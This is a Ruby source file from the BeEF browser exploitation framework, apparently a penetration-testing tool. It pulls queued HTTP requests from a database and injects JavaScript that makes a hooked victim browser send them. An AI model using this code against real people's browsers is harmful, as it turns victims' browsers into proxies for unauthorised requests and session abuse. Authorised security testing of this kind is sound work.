#
#   Copyright 2011 Wade Alcorn wade@bindshell.net
#
#   Licensed under the Apache License, Version 2.0 (the "License");
#   you may not use this file except in compliance with the License.
#   You may obtain a copy of the License at
#
#       http://www.apache.org/licenses/LICENSE-2.0
#
#   Unless required by applicable law or agreed to in writing, software
#   distributed under the License is distributed on an "AS IS" BASIS,
#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#   See the License for the specific language governing permissions and
#   limitations under the License.
#
module BeEF
  module Extension
    module Requester
      module API

        require 'uri'
        class Hook

          include BeEF::Core::Handlers::Modules::BeEFJS

          # If the HTTP table contains requests that need to be sent (has_ran = waiting), retrieve
          # and send them to the hooked browser.
          def requester_run(hb, body)
            @body = body
            # Generate all the requests and output them to the hooked browser
            output = []
            BeEF::Core::Models::Http.all(:hooked_browser_id => hb.id, :has_ran => "waiting").each { |h|
              output << self.requester_parse_db_request(h)
            }

            return if output.empty?

            # Build the BeEFJS requester component
            build_missing_beefjs_components 'beef.net.requester'

            # Send the command to perform the requests to the hooked browser
            @body << %Q{
              beef.execute(function() {
                beef.net.requester.send(
                  #{output.to_json}
                );
              });
            }
          end

          #
          # Converts an HTTP db object into an Hash that follows the representation
          # of input data for the beef.net.request Javascript API function.
          # The Hash will then be converted into JSON, given as input to beef.net.requester.send Javascript API function
          # and finally sent to and executed by the hooked browser.
          def requester_parse_db_request(http_db_object)

            req_parts = http_db_object.request.split(/ |\n/)
            verb = req_parts[0]
            uri = req_parts[1]
            headers = {}

            req_parts = http_db_object.request.split(/  |\n/)

            #@note: retrieve HTTP headers values needed later, and the \r\n that indicates the start of the post-data (if any)
            req_parts.each_with_index do |value, index|
              if value.match(/^Content-Length/)
                 @content_length = Integer(req_parts[index].split(/: /)[1])
              end

              if value.match(/^Host/)
                 @host = req_parts[index].split(/: /)[1].split(/:/)[0]
                 @port = req_parts[index].split(/: /)[1].split(/:/)[1]
              end

              if value.eql?("") or value.strip.empty?# this will be the CRLF (before HTTP request body)
                @post_data_index = index
              end
            end

            #@note: add HTTP request headers to an Hash
            req_parts.each_with_index do |value, index|
              if verb.eql?("POST")
                if index > 0 and index < @post_data_index #only add HTTP headers, not the verb/uri/version or post-data
                   header_key = req_parts[index].split(/: /)[0]
                   header_value = req_parts[index].split(/: /)[1]
                   headers[header_key] = header_value
                end
              else
                if index > 0  #only add HTTP headers, not the verb/uri/version
                   header_key = req_parts[index].split(/: /)[0]
                   header_value = req_parts[index].split(/: /)[1]
                   headers[header_key] = header_value
                end
              end
            end

            if @port.nil?
              if uri.match(/^https:/)
                 @port = 443
              else
                 @port = 80
              end
            end

            #POST request
            if not @content_length.nil? and @content_length > 0
              post_data_scliced = req_parts.slice(@post_data_index + 1, req_parts.length)
              @post_data = post_data_scliced.join
              http_request_object = {
                  'id' => http_db_object.id,
                  'method' => verb,
                  'host' => @host.strip,
                  'port' => @port,
                  'data' => @post_data,
                  'uri' => uri,
                  'headers' => headers
              }
            else
              #non-POST request (ex. GET)
              http_request_object = {
                  'id' => http_db_object.id,
                  'method' => verb,
                  'host' => @host.strip,
                  'port' => @port,
                  'uri' => uri,
                  'headers' => headers
              }
            end

            #@note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send
            headers.keys.each { |key| http_request_object['headers'][key] = headers[key] }

            http_request_object
          end
        end
      end
    end
  end
end
